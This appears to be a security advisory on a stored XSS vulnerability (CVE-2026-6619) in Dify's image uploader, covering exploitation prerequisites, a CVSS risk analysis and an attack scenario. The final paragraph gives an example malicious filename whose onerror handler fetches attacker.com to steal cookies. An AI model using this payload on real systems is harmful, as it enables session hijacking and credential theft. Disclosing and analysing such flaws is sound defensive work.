Dify CVE-2026-6619

Exploitation requires an authenticated user account (PR:L) with permission to upload images to Dify's image uploader component. The attacker must craft a filename containing XSS payload and upload it as an image asset. User interaction (UI:R) is mandatory-another user must click the 'Open in New Tab' action or trigger the openInNewTab function in the ImagePreview component for the payload to execute. The filename field must be passed unsanitized from the upload handler to the DOM or URL construction in openInNewTab without HTML encoding or JavaScript escaping. Default Dify deployments with image upload enabled are vulnerable; organizations that have disabled the image uploader or use a reverse proxy with strict input validation on filenames may reduce (but not eliminate) risk if the proxy blocks common XSS patterns. Authentication and user interaction are the primary limiting factors-unauthenticated attackers cannot exploit this directly.

This vulnerability presents a moderate but contained real-world risk despite its low CVSS score (3.5). The CVSS vector shows network accessibility (AV:N) and low attack complexity (AC:L), but the requirement for authenticated access (PR:L) and user interaction (UI:R) significantly reduces exploitation frequency. The EPSS metric is not provided, but the low CVSS combined with authentication barriers suggests this is not a critical internet-wide risk. However, the public availability of exploit code and vendor non-responsiveness elevate concern for targeted attacks against specific Dify deployments, particularly in multi-tenant SaaS environments where attackers could craft malicious image filenames to compromise other users' sessions. The CVSS Environmental modifier (E:P/RL:X/RC:R) reflects that proof-of-concept code is public and reliability is reasonable, suggesting exploitation will increase as awareness spreads. For organizations running Dify as a shared platform (AI application builder, prompt management, etc.), this warrants prioritized patching to prevent credential theft, session hijacking, or lateral movement via XSS payloads. The integrity-only impact (I:L) rather than confidentiality/availability breach suggests this is not a 'lights-out' incident but a meaningful security gap that should not be deferred.

An authenticated user uploads an image to a Dify application (e.g., a knowledge base document or prompt builder asset) with a crafted filename containing JavaScript (e.g., 'image<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">.png'). When another user or the same user clicks 'Open in New Tab' or hovers over the image preview (depending on when openInNewTab is triggered), the malicious script executes in their browser context, exfiltrating session cookies, OAuth tokens, or prompts being developed. If the application stores sensitive API keys or model configurations accessible via the DOM, the attacker gains access to those credentials.